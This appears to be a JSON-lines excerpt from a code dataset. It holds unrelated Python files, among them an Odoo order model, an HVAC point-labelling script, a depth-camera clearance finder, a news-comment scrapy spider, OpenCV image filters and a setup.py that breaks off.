line.qty > 0:\n if line.product_id.on_hand < line.qty:\n raise ValidationError(_('Product `%s` not enough!' % line.product_id.name))\n else:\n rec.write({'state': 'delivery'})\n else:\n raise ValidationError(_('Product and Quantity not null!'))\n\n\n def open_create_delivery(self):\n self.ensure_one()\n return {\n 'target': 'new',\n 'type': 'ir.actions.act_window',\n 'res_model': 'sgu.delivery',\n 'name': _('Create Delivery'),\n 'view_type': 'form',\n 'view_mode': 'form',\n 'views': [[False,'form']],\n 'context': {\n 'hidden_order_id': True,\n 'hidden_button_footer': False,\n \"default_order_id\": self.id,\n\n },\n }\n\n def _default_token(self):\n chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'\n return ''.join(random.SystemRandom().choice(chars) for _ in range(6))\n \n @api.model\n def create(self, vals):\n if vals.get('name', _('New')) == _('New'):\n vals['name'] = self.env['ir.sequence'].next_by_code('sgu_base.order') or _('New')\n vals['token'] = self._default_token()\n return super(Order, self).create(vals)\n\n @api.multi\n def unlink(self):\n for rec in self:\n rec.line_ids.unlink()\n rec.delivery_ids.unlink()\n return super(Order, self).unlink()\n\n @api.depends('line_ids')\n def _compute_process(self):\n for res in self:\n if res.line_ids.exists():\n count_done = len(res.line_ids.filtered(lambda o: o.state == 'done'))\n res.process = (count_done / len(res.line_ids))*100\n\n\n @api.depends('line_ids')\n def _compute_total(self):\n for res in self:\n if res.line_ids.exists():\n res.total = sum(res.line_ids.filtered(lambda o: o.state != 'cancel').mapped('sub_total'))\n \n\n @api.depends('delivery_ids')\n @api.multi\n def _compute_count_delivery(self):\n for rec in self:\n if rec.delivery_ids.exists():\n rec.count_delivery = len(rec.delivery_ids)\n\n\n @api.constrains('line_ids')\n @api.multi\n def _check_product_qty(self):\n for rec in self:\n for line in rec.line_ids:\n if line.product_id.exists() and line.qty > 0:\n if line.product_id.on_hand < line.qty:\n raise ValidationError(_('Quantity not enough!'))\n else:\n raise ValidationError(_('Product and Quantity not null!'))\n \n @api.multi\n def change_reorder(self):\n for rec in self:\n rec.delivery_ids.unlink()\n rec.line_ids.filtered(lambda o: o.state != 'order').write({'state': 'order'})\n rec.write({'state': 'order'})\n\n @api.multi\n def change_cancel(self):\n for rec in self:\n rec.line_ids.change_cancel()\n rec.write({'state': 'cancel', 'lock': True})\n\n @api.multi\n def change_done(self):\n for item in self:\n if item.process != 100:\n raise ValidationError(\"Can't Done!\")\n self.write({'lock': True,'state': 'done'})\n\n @api.multi\n def change_lock(self):\n self.write({'lock': True})\n\n @api.multi\n def change_unlock(self):\n self.write({'lock': False})\n\n\n\nclass OrderLine(models.Model):\n _name = 'sgu.order.line'\n _description = \"Order\"\n _rec_name = 'name'\n\n\n \n\n name = fields.Char('Name')\n order_id = fields.Many2one('sgu.order')\n description = fields.Char('Description')\n product_id = fields.Many2one('sgu.product', 'Product', required=True)\n price = fields.Integer('Price', default=lambda self: self.product_id.price)\n qty = fields.Integer('Quantity')\n sub_total = fields.Integer('Sub Total', compute=\"_compute_subtotal\")\n state = fields.Selection([\n ('order', 'Order'), \n ('delivery', 'Delivery'), \n ('done', 'Done'),\n ('cancel', 'Cancel')\n ], 'State', default=\"order\")\n note = fields.Text('Note')\n \n\n @api.onchange('product_id')\n def default_price(self):\n if self.product_id:\n self.price = self.product_id.price\n\n @api.depends('price', 'qty')\n @api.multi\n def _compute_subtotal(self):\n for rec in self:\n rec.sub_total = rec.price * rec.qty\n\n @api.multi\n def change_reorder(self):\n if self.order_id.lock:\n raise ValidationError(_('Order is lock!'))\n for item in self:\n order = item.order_id\n delivery_order = order.delivery_ids.mapped('line_ids').filtered(lambda o: o.order_line_id.id == item.id)\n if delivery_order.exists():\n delivery_order.unlink()\n else:\n item.write({'state': 'order'})\n return {\n 'type': 'ir.actions.client',\n 'tag': 'reload',\n }\n\n\n @api.multi\n def change_cancel(self):\n if self.order_id.lock:\n raise ValidationError(_('Order is lock!'))\n for item in self:\n order = item.order_id\n delivery_order = order.delivery_ids.mapped('line_ids').filtered(lambda o: o.order_line_id.id == item.id)\n if delivery_order.exists():\n delivery_order.change_cancel()\n else:\n item.write({'state': 'cancel'})\n return {\n 'type': 'ir.actions.client',\n 'tag': 'reload',\n }\n\n\n @api.model\n def create(self, vals):\n if vals.get('name', _('New')) == _('New'):\n vals['name'] = self.env['ir.sequence'].next_by_code('sgu_base.order_line') or _('New')\n return super(OrderLine, self).create(vals)\n","sub_path":"src/build-addons/sgu_base/models/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":8196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"482457116","text":"__author__ = 'hanbao'\nimport sys\nimport re\n# f = open('/Users/hanbao/Desktop/CMPT733/SES_Project/VITP.txt', 'r')\n# f1=open('/Users/hanbao/Desktop/CMPT733/SES_Project/New_Name/VITP.txt', 'w')\n# lines=f.readlines()\n#\n# for line in lines:\n# if line[-4:-2:]!='TL':\n# f1.write(line)\n\n######do the label automatically by comparing str#####\n\"\"\"\n0 = Analog Input\n1 = Analog Output\n2 = Analog Value\n3 = Binary Input\n4 = Binary Output\n5 = Binary Value\n6 = Calendar\n7 = Command\n8 = Device\n9 = Event Enrollment\n10 = File\n11 = Group\n12 = Loop\n13 = Multi-state Input\n14 = Multi-state Output\n15 = Notification Class\n16 = Program\n17 = Schedule\n\n\n\"\"\"\n\"\"\"\n\n\nCoolingCall: CLG_ENABLE, CLG_ENAB, DX1-20, FC5_CLG, COMP2_C, AC1-20_C,CC1-20,COMP,CMP\nDischargeAirTemperature: SAT\nDischargeAirTemperatureSetPoint:SAT_SP\nDuctStaticPressure:DPS\nHeatingCall:HTG_ENABLE,HT1-20,HEAT_ENABLE, NIGHT_HEAT\nMixedAirTemperature:MAT\nMixedAirTemperatureSetPoint:MAT_SP\nOccupancyMode: OCC/OS\nOutdoorAirTemperature: OAT\nOutdoorDamperSignal: OAD,DMPR,MAD_C\nReturnAirTemperature:RAT\nHVACStatus:AHU7_ENAB\nSupplyFanSpeed:SPD\nSupplyFanStatus:SFS,SF_S,SF\nSupplyFanCommand: SFC\nReturnFanSpeed\nReturnFanStatus: RF_S,RFS\nReturnFanCommand: RFC\nZoneTemperature:RT\nZoneTemperatureSetPoint:RT_SP\nReturnFanSpeed:RF_SPD\nHeatingCoilValvePosition: HCPS,HCV\n\n\"\"\"\n\n#Build list by hand\n############\nCoolingCall_lst=[\"CLG_ENABLE\",\"CLG_ENAB\",\"COMP\",\"CMP\",\"DX\"]+\\\n [\"FC\"+str(i)+\"_CLG\" for i in range(1,21)]+\\\n [\"DX\"+str(i) for i in range(1,21)]+\\\n [\"AC\"+str(i) for i in range(1,21)]+\\\n [\"CC\"+str(i) for i in range(1,21)]+\\\n [\"COMP\"+str(i)+\"_C\" for i in range(1,21)]\n\nDischargeAirTemperature_lst=[\"SAT\"]\nDischargeAirTemperatureSetPoint_lst=[\"SAT_SP\",\"DISCHARGE_AIR_TEMP_SETPOINT\"]\nDuctStaticPressure_lst=[\"DPS\"]\nHeatingCall_lst=[\"HTG_ENABLE\",\"HEAT_ENABLE\", \"NIGHT_HEAT\",\"HT_ENABLE\"]+[\"HT\"+str(i) for i in range(1,21)]\nMixedAirTemperature_lst=[\"MAT\",\"MIXED-AIR-TEMP\"]\nMixedAirTemperatureSetPoint_lst=[\"MAT_SP\"]\nOccupancyMode_lst=[\"OCC\",\"OS\"]\nOutdoorAirTemperature_lst=[\"OAT\",\"OUTDOOR_AIR_TEMPERATURE\"]\nOutdoorDamperSignal_lst=[\"OAD\",\"DMPR\",\"MAD_C\"]\nReturnAirTemperature_lst=[\"RAT\",\"RETURN-AIR-TEMP\"]\nHVACStatus_lst=[\"AHU\"+str(i)+\"_ENAB\" for i in range(1,21)]+[\"AH\"+str(i)+\"_ENABLE\" for i in range(1,21)]\nSupplyFanSpeed_lst=[\"SPD\"]\nSupplyFanStatus_lst=[\"SFS\",\"SF_S\",\"SF\",\"SUPPLY-FAN-STATUS\",\"SAFANSTS\",\"RETURN-FAN\"]\nSupplyFanCommand_lst=[\"SFC\",\"SF-C\"]\nReturnFanStatus_lst=[\"RF_S\",\"RFS\",\"RAFANSTS\",\"SUPPLY-FAN\"]\nReturnFanCommand_lst=[\"RFC\"]\nZoneTemperature_lst=[\"RT\"]\nZoneTemperatureSetPoint_lst=[\"RT_SP\"]\nReturnFanSpeed_lst=[\"RF_SPD\"]\nHeatingCoilValvePosition_lst=[\"HCPS\",\"HCV\",\"DUCT_HT\"]\nCoolingCoilValvePosition_lst=[\"CCVLVCTRL\"]\nPumpCommmand_lst=[\"PC\",\"P1_C\",\"PUMP_C\"]\nPumpStatus_lst=[\"P1_S\"]\nHotWaterPumpControl_lst=[\"HW_PC\"]\nCO2Sensor_lst=[\"AH4_CO2\",\"RA-CO2\"]\nCO2SetPoint_lst=[\"CO2_SETPOINT\",\"CO2_SP\"]\n\n\nlst=CoolingCall_lst+DischargeAirTemperature_lst+DischargeAirTemperatureSetPoint_lst+DuctStaticPressure_lst\\\n +HeatingCall_lst+MixedAirTemperature_lst+MixedAirTemperatureSetPoint_lst+OccupancyMode_lst+\\\n OutdoorAirTemperature_lst+OutdoorDamperSignal_lst+ReturnAirTemperature_lst+HVACStatus_lst+SupplyFanSpeed_lst+\\\n SupplyFanCommand_lst+SupplyFanStatus_lst+ReturnFanStatus_lst+ReturnFanCommand_lst+ZoneTemperature_lst+\\\n ZoneTemperatureSetPoint_lst+ReturnFanSpeed_lst+HeatingCoilValvePosition_lst+CoolingCoilValvePosition_lst+PumpCommmand_lst+\\\n PumpStatus_lst+HotWaterPumpControl_lst+CO2Sensor_lst+CO2SetPoint_lst\n\n\nf = open('/Users/hanbao/Desktop/20160620.csv', 'rU')#rU treated \\r as end of the line\nf1=open('/Users/hanbao/Desktop/20160620_Label.csv', 'w')\nlines=f.readlines()\nfor line in lines:\n flag=0\n for item in lst:\n if item in line.upper() and item in CoolingCall_lst:\n line=line[0:-1]+','+'CoolingCall'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in DischargeAirTemperature_lst:\n line=line[0:-1]+','+'DischargeAirTemperature'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in DischargeAirTemperatureSetPoint_lst:\n line=line[0:-1]+','+'DischargeAirTemperatureSetPoint'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in DuctStaticPressure_lst:\n line=line[0:-1]+','+'DuctStaticPressure'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in HeatingCall_lst:\n line=line[0:-1]+','+'HeatingCall'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in MixedAirTemperature_lst:\n line=line[0:-1]+','+'MixedAirTemperature'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in MixedAirTemperatureSetPoint_lst:\n line=line[0:-1]+','+'MixedAirTemperatureSetPoint'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in OccupancyMode_lst:\n line=line[0:-1]+','+'OccupancyMode'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in OutdoorAirTemperature_lst:\n line=line[0:-1]+','+'OutdoorAirTemperature'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in OutdoorDamperSignal_lst:\n line=line[0:-1]+','+'OutdoorDamperSignal'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in ReturnAirTemperature_lst:\n line=line[0:-1]+','+'ReturnAirTemperature'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in HVACStatus_lst:\n line=line[0:-1]+','+'HVACStatus'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in SupplyFanSpeed_lst:\n line=line[0:-1]+','+'SupplyFanSpeed'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in SupplyFanStatus_lst:\n line=line[0:-1]+','+'SupplyFanStatus'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in SupplyFanCommand_lst:\n line=line[0:-1]+','+'SupplyFanCommand'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in ReturnFanStatus_lst:\n line=line[0:-1]+','+'ReturnFanStatus'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in ReturnFanCommand_lst:\n line=line[0:-1]+','+'ReturnFanCommand'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in ZoneTemperature_lst:\n line=line[0:-1]+','+'ZoneTemperature'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in ZoneTemperatureSetPoint_lst:\n line=line[0:-1]+','+'ZoneTemperatureSetPoint'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in HeatingCoilValvePosition_lst:\n line=line[0:-1]+','+'HeatingCoilValvePosition'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in CoolingCoilValvePosition_lst:\n line=line[0:-1]+','+'CoolingCoilValvePosition'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in PumpCommmand_lst:\n line=line[0:-1]+','+'PumpCommmand'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in PumpStatus_lst:\n line=line[0:-1]+','+'PumpStatus'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in HotWaterPumpControl_lst:\n line=line[0:-1]+','+'HotWaterPumpControl'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif re.search('CO2$', line.upper())!=None:\n line=line[0:-1]+','+'CO2Sensor'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in CO2Sensor_lst:\n line=line[0:-1]+','+'CO2Sensor'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n elif item in line.upper() and item in CO2SetPoint_lst:\n line=line[0:-1]+','+'CO2SetPoint'+'\\r\\n'\n f1.writelines(line)\n flag=1\n break\n if flag==0:\n f1.writelines(line)\n flag==1\n\n\n\n\n\n\n","sub_path":"SESProject/Convert_for_Level2.py","file_name":"Convert_for_Level2.py","file_ext":"py","file_size_in_byte":9074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"633543847","text":"import cv2\nimport numpy as np\nimport sys\n\nclass ClearanceFinder:\n def preprocess(self, depth_img):\n '''\n :param depth_img: each pixel value represents the distance to the closest object to the camera (in meters)\n :return:\n depth_img: pixel value represents distance(meters), only keep depth close to the 2m range human would appear\n canny_cropped: binary image with pixel value = 255 for edges\n '''\n # Filter the image by depth to only keep pixels 1~5 meters from the camera will be kept\n depth_low_thresh = 1\n depth_high_thresh = 5\n depth_img[depth_img <= depth_low_thresh] = 0\n depth_img[depth_img >= depth_high_thresh] = 0\n # Scale image to 0-255\n scaled_img = (depth_img - np.amin(depth_img)) / (np.amax(depth_img) - np.amin(depth_img)) * 255\n scaled_img = np.array(scaled_img, dtype=np.uint8)\n # Blur to remove noise\n blur_img = cv2.GaussianBlur(scaled_img, (5, 5), 0)\n # Canny edge detection\n canny_img = cv2.Canny(blur_img, 100, 200)\n # Only keep region of interest\n canny_cropped = np.zeros_like(canny_img)\n canny_cropped[20:100, 60:120] = canny_img[20:100, 60:120]\n return depth_img, canny_cropped\n\n def detect_human(self, canny_cropped):\n '''\n :param canny_cropped: binary image with pixel value = 255 for edges\n :return: [bbox_x, bbox_y, bbox_w, bbox_h] human detection bounding box, return [] if there is no detection\n (x,y) be the top-left coordinate of the rectangle and (w,h) be its width and height.\n '''\n # create hull array for convex hull points\n hull = []\n contours, hierarchy = cv2.findContours(canny_cropped, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n for i in range(len(contours)):\n # creating convex hull object for each contour\n hull.append(cv2.convexHull(contours[i], False))\n # take the contour with max area\n if (len(contours) != 0):\n c = max(contours, key=cv2.contourArea)\n bbox_x, bbox_y, bbox_w, bbox_h = cv2.boundingRect(c)\n return [bbox_x, bbox_y, bbox_w, bbox_h]\n else:\n return []\n\n def pixel_to_meter(self, depth_img, bbox):\n '''\n Find pixel to meters conversion for pixels that are the same distance from the camera as human\n :param depth_img: pixel value are distance(meters), only keep depth close to the 2m range human would appear\n :param bbox: [bbox_x, bbox_y, bbox_w, bbox_h]\n :return:\n pixel_per_meter: pixel per meter for pixels that are the same distance from the camera as human\n w_meter : width of depth image in meters, for pixels that are the same distance from the camera as human\n '''\n bbox_x, bbox_y, bbox_w, bbox_h = bbox\n # take mean of nonzero pixels for human region\n human_region = depth_img[bbox_y:bbox_y + bbox_h, bbox_x:bbox_x + bbox_w]\n nonzero_pixel_count = np.count_nonzero(human_region)\n human_dist_meter = np.sum(human_region)/nonzero_pixel_count\n # horizontal field of view\n fov_horizontal = 70\n # calculate width of depth image in meters\n # using tangent function for triangle: x/human_dist_meter = tan(35 degrees)\n half_fov_radius = np.deg2rad(fov_horizontal / 2)\n half_width_meter = np.tan(half_fov_radius) * human_dist_meter\n w_meter = half_width_meter * 2\n h_pixel, w_pixel = depth_img.shape[:2]\n # pixel per meter\n pixel_per_meter = w_pixel / w_meter\n return pixel_per_meter, w_meter\n\n\n def detection_clearance(self, pixel_per_meter, bbox, w_meter):\n '''\n Calculate clearance using detection bounding box result,\n print the decision of take left or right, and clearance\n :param pixel_per_meter: pixel per meter for pixels that are the same distance from the camera as human\n :param bbox: [bbox_x, bbox_y, bbox_w, bbox_h] human detection bounding box in pixels\n :param w_meter: width of depth image in meters, for pixels that are the same distance from the camera as human\n '''\n # corridor has width 1.5 meters\n corridor_width_meters = 1.5\n # corridor location in the image, in meters\n corridor_location_meters = w_meter / 2 - corridor_width_meters / 2\n # bbox top-left corner x coordinate and width in meters\n bbox_x_meters = bbox[0] / pixel_per_meter\n bbox_w_meters = bbox[1] / pixel_per_meter\n # clearance to the shelf on the left\n d0_meter = bbox_x_meters - corridor_location_meters\n # clearance to the wall on the right\n d1_meter = w_meter - bbox_x_meters - bbox_w_meters - corridor_location_meters\n\n if (d0_meter > d1_meter):\n print('left %.3f' % d0_meter)\n else:\n print('right %.3f' % d1_meter)\n\n def calculate_clearance(self, depth_txt):\n '''\n :param depth_txt: each pixel value represents the distance to the closest object to the camera (in meters)\n :return: print left or right avoidance command and a clearance between a human and an obstacles in meters\n '''\n depth_img = np.loadtxt(depth_txt)\n depth_img, canny_cropped = self.preprocess(depth_img)\n # human bounding box\n bbox = self.detect_human(canny_cropped)\n if len(bbox)==0:\n print(\"No human detected\")\n return\n pixel_per_meter, w_meter = self.pixel_to_meter(depth_img, bbox)\n self.detection_clearance(pixel_per_meter, bbox, w_meter)\n\ndef main():\n if (len(sys.argv) < 2):\n print(\"Example Usage: python find_clearance.py human_corridor_0.txt\")\n else:\n clearance_finder = ClearanceFinder()\n clearance_finder.calculate_clearance(sys.argv[1])\n\nif __name__ == '__main__':\n main()","sub_path":"find_clearance.py","file_name":"find_clearance.py","file_ext":"py","file_size_in_byte":5888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"47789389","text":"\n#조건정리\ntext = '''.\t온점\t46\t.\nO\t대문자 O\t79\tO\n-\t하이픈\t45\t|\n|\t세로 바\t124\t-\n/\t슬래시\t47\t\\\\\n\\\t역슬래시\t92\t/\n^\t캐럿\t94\t<\n<\t왼쪽 부등호\t60\tv\nv\t소문자 V\t118\t>\n>\t오른쪽 부등호\t62\t^'''\ntext = text.split('\\n')\nrule = []\nfor i in range(10):\n tmp = text[i].split( )\n rule.append([tmp[0],tmp[-1]])\n\n#print(rule)\n\n#입력\nx,y = map(int,input().split())\no_d = []\nfor i in range(x):\n o_d.append(list(input()))\n\n#print(o_d)\n\n#변환\nfor i in range(x):\n for j in range(y):\n for k in range(len(rule)):\n if o_d[i][j] == rule[k][0]:\n o_d[i][j] = rule[k][1]\n break\n\nfor i in range(y-1,-1,-1):\n for j in range(x):\n print(o_d[j][i],end=\"\")\n print()\n","sub_path":"2019_UCPC_예선/BOJ17363_JJ.py","file_name":"BOJ17363_JJ.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"505890423","text":"import scrapy\nfrom scrapy.crawler import CrawlerProcess\nfrom scrapy.selector import Selector\nimport re\n\nclass CommentSpider(scrapy.Spider):\n # this spider scrapes a single article within the domain zeit.de\n name = 'zeit.de'\n urls = [['http://www.zeit.de/gesellschaft/zeitgeschehen/2017-10/bundeswehr-reservistenverband-rechtsextrem-militaerischer-abschirmdienst']]\n\n def start_requests(self):\n for url in self.urls:\n yield scrapy.Request(\n url=str(url[0]),\n callback=self.parse,\n method='GET',\n meta={'url': url[0]}\n )\n\n def parse(self, response):\n # parse an article page and watch out for comments on this page and for linked pages\n url = response.meta['url']\n sel = Selector(response)\n\n nextLinks = sel.xpath(\"//div[@class='comment-section__item']//a[@class='pager__button pager__button--next']/@href\").extract()\n if len(nextLinks) == 0:\n nextLinks = sel.xpath(\"//a[contains(@class, 'zb-pager__btn-rel-next')]/@href\").extract()\n\n # scrape linked pages\n if (len(nextLinks) > 0):\n nextLink = nextLinks[0]\n request = scrapy.Request(nextLink, callback = self.parse)\n print(\"Paging:\", nextLinks[0])\n request.meta['url'] = nextLinks[0]\n yield request \n\n replyLinks = sel.xpath(\"//div[contains(@class, 'comment__container')]//*[@data-url]/@data-url\").extract()\n for reply in replyLinks:\n request = scrapy.Request(reply, callback = self.parse_replies)\n request.meta['url'] = url\n yield request\n\n comments_scope = sel.xpath(\"//article[contains(@class, 'comment')]\").extract()\n for comment in comments_scope:\n self.parse_comment(comment, url)\n\n # scrape comments that are hidden on the current page\n def parse_replies(self, response):\n sel = Selector(response)\n url = response.meta['url']\n comments_scope = sel.xpath(\"//article[contains(@class, 'comment')]\").extract()\n for comment in comments_scope:\n self.parse_comment(comment, url)\n\n # scrape comments \n def parse_comment(self, comment, url):\n comment_selector = Selector(text=comment)\n extracted_comment = {\n 'url': re.sub('\\?.*', '', url)\n }\n \n user_url = comment_selector.xpath(\"//div[contains(@class, 'comment-meta__name')]/a/@href\").extract()\n extracted_comment['user_url'] = user_url[0] if len(user_url) > 0 else ''\n \n extracted_comment['user_name'] = re.sub('.*/', '', user_url[0]) if len(user_url) > 0 else ''\n\n comment_text = comment_selector.xpath(\"//div[contains(@class, 'comment__body')]//text()\").extract()\n extracted_comment['comment_text'] = '\\n'.join([x.strip() for x in comment_text]).strip() if len(comment_text) > 0 else ''\n\n comment_recommendations = comment_selector.xpath(\"//*[@class='js-comment-recommendations']//text()\").extract()\n extracted_comment['recommendations'] = int(comment_recommendations[0]) if len(comment_recommendations) > 0 else 0\n\n nth_comment_in_article = comment_selector.xpath(\"//*[contains(@class, 'comment-meta__date')]//text()\").extract()\n extracted_comment['nth_comment_in_article'] = re.sub('#', '', re.sub('\\xa0.*', '', nth_comment_in_article[0])).strip() if len(nth_comment_in_article) > 0 else ''\n\n respond_to = comment_selector.xpath(\"//div[@class='comment__reactions']/a[@class='comment__origin js-jump-to-comment']/strong[2]/text()\").extract()\n extracted_comment['respond_to'] = respond_to[0].strip() if len(respond_to) > 0 else None\n\n comment_cid = comment_selector.xpath(\"//*[contains(@class, 'comment-meta__date')]/@href\").extract()\n if len(comment_cid) > 0:\n cid = re.sub('.*cid-', '', comment_cid[0])\n else:\n cid = None\n extracted_comment['cid'] = cid\n\n parent_comment = comment_selector.xpath(\"//a[contains(@class,'comment__origin')]/@href\").extract()\n if len(parent_comment) > 0:\n pid = re.sub('.*cid-', '', parent_comment[0])\n else:\n pid = None\n extracted_comment['pid'] = pid\n\n print(extracted_comment)\n\n'''\nprocess = CrawlerProcess({\n 'USER_AGENT': 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',\n 'LOG_LEVEL': 'ERROR'\n})\n\nprocess.crawl(CommentSpider)\nprocess.start() # the script will block here until the crawling is finished\n'''","sub_path":"crawler/crawler/spiders/given_spider.py","file_name":"given_spider.py","file_ext":"py","file_size_in_byte":4207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"171260572","text":"import random\nimport sys\n\nfor x in range (0,200):\n for y in range(0,1000):\n bricktype = random.randint(0,50)\n if bricktype == 0:\n sys.stdout.write('G')\n elif bricktype == 1:\n sys.stdout.write('N')\n elif bricktype in range(0,50):\n sys.stdout.write('.')\n ","sub_path":"fillarea.py","file_name":"fillarea.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"623463637","text":"import cv2\nimport numpy as np\nimport utils\ndef strokeEdges(src,dst,blurKsize=7,edgeKsize=5):\n if blurKsize>=3:\n blurredSrc=cv2.medianBlur(src,blurKsize)\n graySrc=cv2.cvtColor(blurredSrc,cv2.COLOR_BGRA2GRAY)\n else:\n graySrc=cv2.cvtColor(src,cv2.COLOR_BGRA2GRAY)\n cv2.Laplacian(graySrc,cv2.CV_8U,graySrc,ksize=edgeKsize)\n normalizedInverseAlpha=(1.0/255)*(255-graySrc)\n channels=cv2.split(src)\n for channel in channels:\n channel[:]=channel*normalizedInverseAlpha\n cv2.merge(channels,dst)\n\nclass VConvolutionFilter(object):\n '''A filter that applies a convolution to all BGR'''\n def __init__(self,kernel):\n self._kernel=kernel\n def apply(self,src,dst):\n '''apply the filter with a BGR or gray source'''\n cv2.filter2D(src,-1,self._kernel,dst)\n\nclass SharpenFilter(VConvolutionFilter):\n def __init__(self):\n kernel=np.array([[-1,-1,-1],[-1,9,-1],[-1,-1,-1]])\n VConvolutionFilter.__init__(self,kernel)\n\nclass FindEdgesFilter(VConvolutionFilter):\n '''an edge-finding filter with a 2-pixel radius'''\n def __init__(self, kernel):\n kernel=np.full((5,5),0.04)\n super().__init__(self,kernel)\n\nclass EmbossFilter(VConvolutionFilter):\n '''an emboss filter with a 1 pixel radius'''\n def __init__(self, kernel):\n kernel=np.array([[-2,-1,0],[-1,1,1],[0,1,2]])\n super().__init__(self,kernel)\n \n\nclass BGRFuncFilter(object):\n\n def __init__(self, vFunc = None, bFunc = None, gFunc = None, rFunc = None,dtype = np.uint8) :\n\n length = np.iinfo(dtype).max + 1\n self._bLookupArray = utils.createLookupArray(utils.createCompositeFunc(bFunc, vFunc), length)\n self._gLookupArray = utils.createLookupArray(utils.createCompositeFunc(gFunc, vFunc), length)\n self._rLookupArray = utils.createLookupArray(utils.createCompositeFunc(rFunc, vFunc), length)\n\n def apply(self, src, dst) :\n\n \"\"\"Apply the filter with a BGR source/destination.\"\"\"\n b, g, r = cv2.split(src)\n utils.applyLookupArray(self._bLookupArray, b, b)\n utils.applyLookupArray(self._gLookupArray, g, g)\n utils.applyLookupArray(self._rLookupArray, r, r)\n cv2.merge([ b, g, r ], dst)\n\n\n\nclass BGRCurveFilter(BGRFuncFilter):\n\n def __init__(self, vPoints = None, bPoints = None,gPoints = None, rPoints = None, dtype = np.uint8):\n BGRFuncFilter.__init__(self, utils.createCurveFunc(vPoints), utils.createCurveFunc(bPoints), utils.createCurveFunc(gPoints), utils.createCurveFunc(rPoints), dtype)\n\n\n\nclass BGRPortraCurveFilter(BGRCurveFilter):\n def __init__(self, dtype = np.uint8):\n BGRCurveFilter.__init__(\n self,\n vPoints = [ (0, 0), (23, 20), (157, 173), (255, 255) ],\n bPoints = [ (0, 0), (41, 46), (231, 228), (255, 255) ],\n gPoints = [ (0, 0), (52, 47), (189, 196), (255, 255) ],\n rPoints = [ (0, 0), (69, 69), (213, 218), (255, 255) ],\n dtype = dtype)\n\n\n\n\n\n\n","sub_path":"video/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":2995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"113727292","text":"\nimport logging\nimport urllib2\nimport xmltodict\n\nlogger = logging.getLogger(__name__) # pylint:disable=invalid-name\n\n\ndef converter(field, record, value, params):\n \"\"\"\n Converts a Apple SN into a nice Model\n\n :param value: serial number\n :return: nice model name\n \"\"\"\n try:\n url = \"http://support-sp.apple.com/sp/product?cc={}&lang=en_US\".format(\n record['general']['serial_number'][-4:]\n )\n response = urllib2.urlopen(url)\n response = xmltodict.parse(response.read())['root']\n return response['configCode']\n except:\n logger.warning(\"First attempt to lookup model (with last 4 of serial number) failed.\")\n try:\n url = \"http://support-sp.apple.com/sp/product?cc={}&lang=en_US\".format(\n record['general']['serial_number'][-3:]\n )\n response = urllib2.urlopen(url)\n response = xmltodict.parse(response.read())['root']\n return response['configCode']\n except:\n logger.error(\"Second attempt to lookup model (with last 3 of serial number) failed.\")\n return value\n","sub_path":"converters/mac_model_from_sn.py","file_name":"mac_model_from_sn.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"428340985","text":"from setuptools import find_packages, setup\n\nwith open(\"README.md\", \"r\", encoding=\"UTF-8\") as f:\n long_desc = f.read()\n\nsetup(\n name='posproc',\n python_requires='>=3.9.5',\n description='QKD post-processing software based on event based networking.',\n long_description=long_desc,\n long_description_content_type=\"text/markdown\",\n version='0.1.0',\n url='https://github.com/nutanstrek/posproc',\n author='Paras Sharma, Tanmay Singh',\n author_email='nutanstrek@gmail.com',\n # license='MIT',\n 